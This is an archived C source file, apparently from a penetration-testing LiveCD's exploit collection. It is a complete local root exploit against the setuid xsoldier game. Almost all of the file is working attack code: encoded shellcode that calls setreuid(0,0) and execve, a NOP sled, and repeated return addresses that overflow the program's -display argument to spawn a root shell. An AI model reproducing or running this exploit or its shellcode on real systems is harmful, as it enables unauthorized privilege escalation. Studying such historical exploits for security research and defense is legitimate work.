home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / xsoldier / xsol-x.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  88 lines

  1. /*Larry W. Cashdollar linux xsolider exploit.
  2.  *lwc@vapid.dhs.org http://vapid.dhs.org
  3.  *if xsolider is built and installed from its source it will be installed
  4.  *setuid root in /usr/local/games 
  5.  *original exploit found by brock tellier for freebsd 3.3 ports packages.
  6.  *If a setregid() call is placed in the shellcode, you can get egid=12
  7.  *with the default mandrake installation.*/
  8.  
  9.  
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12.  
  13. #define NOP 0x90        /*no operation skip to next instruction. */
  14. #define LEN 4480            /*our buffersize. */
  15.  
  16.  
  17. char shellcode[] =        /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
  18.   "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
  19.   "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
  20.   "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
  21.   "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
  22.   "\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
  23.   "\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
  24.   "\xc2\x91";
  25.  
  26.  
  27. /*Nab the stack pointer to use as an index into our nop's*/
  28. long
  29. get_sp ()
  30. {
  31.   __asm__ ("mov %esp, %eax");
  32. }
  33.  
  34. int
  35. main (int argc, char *argv[])
  36. {
  37.   char buffer[LEN];
  38.   int i, offset;
  39.   long retaddr = get_sp ();
  40.  
  41.   if (argc <= 1)
  42.     offset = 0;
  43.   else
  44.     offset = atoi (argv[1]);
  45.  
  46. /*#Copy the NOPs  in to the buffer leaving space for shellcode and
  47.   #pointers*/
  48.  
  49.   for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
  50.     *(buffer + i) = NOP;
  51.  
  52. /*[NNNNNNNNNNNNNNNNNNNNN                            ]*/
  53. /*                      ^-- LEN -(strlen(shellcode)) - 35*/
  54. /*#Copy the shell code into the buffer*/
  55.  
  56.   memcpy (buffer + i, shellcode, strlen (shellcode));
  57.  
  58. /*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSS            ]*/
  59. /*                      ^-(buffer+i)                 */
  60. /*#Fill the buffer with our new address to jump to esp + offset */
  61.  
  62.   for (i = i + strlen (shellcode); i < LEN; i += 4)
  63.     *(long *) &buffer[i] = retaddr+offset;
  64.  
  65. /*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSRRRRRRRRRRRRR]*/
  66. /*                                      ^-(i+strlen(shellcode))*/
  67.  
  68.   printf ("Jumping to address %x BufSize %d\n", retaddr + offset, LEN);
  69.   execl ("/usr/local/games/xsoldier", "xsoldier", "-display", buffer, 0);
  70.  
  71. }
  72.  
  73.  
  74.  
  75.  
  76.  
  77.  
  78.  
  79.  
  80.  
  81.  
  82.  
  83.  
  84.  
  85.  
  86.  
  87.  
  88.